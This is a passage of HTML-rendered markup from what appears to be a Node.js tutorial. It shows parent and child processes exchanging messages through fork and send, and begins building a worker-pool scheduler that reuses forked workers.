&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Got message from parent: Hello, child!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Got message from child: Hello, yourself!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;^C&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can stop the child with &lt;a href=&quot;https://nodejs.org/api/child_process.html#child_process_subprocess_kill_signal&quot;&gt;&lt;code&gt;kill&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// parent.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; child&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./child.js&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Got message from child: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;kill&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Hello, child!&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if the child exits or crashes, the parent can be notified:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;exit&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;The child went away.&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ node parent.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Got message from parent: Hello, child!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Got message from child: Hello, yourself!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;The child went away.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With just these pieces, your parent process can send requests to a child process and receive responses. You can treat the child like a service. For example, you could perform a long, synchronous calculation:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// parent.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; child&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./child.js&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Child produced result: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ command: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;calculate&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, args: [] });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// child.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ({ &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  switch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (command) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  case&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;calculate&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Calculating...`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; result&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ...&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt; // do a looooooooong calculation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(result);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  default&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Child received an unknown message: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The parent starts a child process and sends the work to the child. The child does the work synchronously and pings the parent back when it&apos;s done:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ node parent.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Calculating...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Child produced result: 4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With a few lines of code, a naturally synchronous operation becomes an asynchronous one from the perspective of the parent. And it still feels natural and JavaScript-y.&lt;/p&gt;
&lt;h2&gt;Everyone into the worker pool&lt;/h2&gt;
&lt;p&gt;If you hand off a lot of small jobs to a child process, you&apos;ll have another problem. The amount of time it takes to do the work will be completely dominated by the amount of time it takes to fork the child. It might take 300ms to start a worker in order to do a 50ms calculation.&lt;/p&gt;
&lt;p&gt;It would be nice if you could pay that startup cost once. Once a process finishes a job, you can reuse it and send it another, instead of starting a new one.&lt;/p&gt;
&lt;p&gt;You can do this with two arrays -- one to keep track of available workers and another to keep track of incoming jobs:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// scheduler.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; readyWorkers&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; workQueue&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Match up the next queued job with the next free worker, if possible.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; work&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `work left: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;workQueue&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}, workers ready: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;readyWorkers&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (readyWorkers.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (workQueue.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; worker&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; readyWorkers.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;shift&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; job&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; workQueue.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;shift&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;callback&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; job;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  worker.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;once&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    readyWorkers.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(worker);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    callback&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(response);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // A worker became ready, so try to match it up with work&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    work&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  worker.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ command, args });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; scheduleJob&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;callback&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  workQueue.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ command, args, callback });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // We have new work, so try to find a worker for it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  work&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Start 2 workers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; i&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Forking a worker...&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
